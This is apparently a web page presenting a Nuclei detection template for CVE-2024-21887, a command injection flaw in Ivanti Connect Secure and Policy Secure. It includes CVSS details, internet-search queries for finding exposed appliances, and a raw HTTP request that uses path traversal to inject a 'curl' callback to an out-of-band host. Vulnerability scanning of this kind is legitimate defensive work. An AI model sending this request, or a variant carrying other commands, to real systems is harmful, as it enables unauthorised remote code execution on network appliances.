Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection

ID: CVE-2024-21887

Severity: critical

Author: pdresearch,parthmalhotra,iamnoooob

Tags: packetstorm,cve,cve2024,kev,rce,ivanti

Description

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

YAML Source

id: CVE-2024-21887

info:
  name: Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection
  author: pdresearch,parthmalhotra,iamnoooob
  severity: critical
  description: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x)  allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
  reference:
    - https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
    - http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
    - https://github.com/farukokutan/Threat-Intelligence-Research-Reports
    - https://github.com/lions2012/Penetration_Testing_POC
    - https://github.com/Chocapikk/CVE-2024-21887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-21887
    cwe-id: CWE-77
    epss-score: 0.97334
    epss-percentile: 0.99886
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - "html:\"welcome.cgi?p=logo\""
      - http.title:"ivanti connect secure"
      - http.html:"welcome.cgi?p=logo"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: packetstorm,cve,cve2024,kev,rce,ivanti

http:
  - raw:
      - |
        GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - 'application/json'

      - type: word
        part: body
        words:
          - '"result":'
          - '"message":'
        condition: and
# digest: 4b0a00483046022100ab3d1482f4476fe6016960c69473ed75a323333b3ece120706969aba219de7e8022100b15290d297ea8fb65b985c1c7746db7f4f9c172b5a519a542b5e5a76d03c9905:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-21887.yaml"

View on Github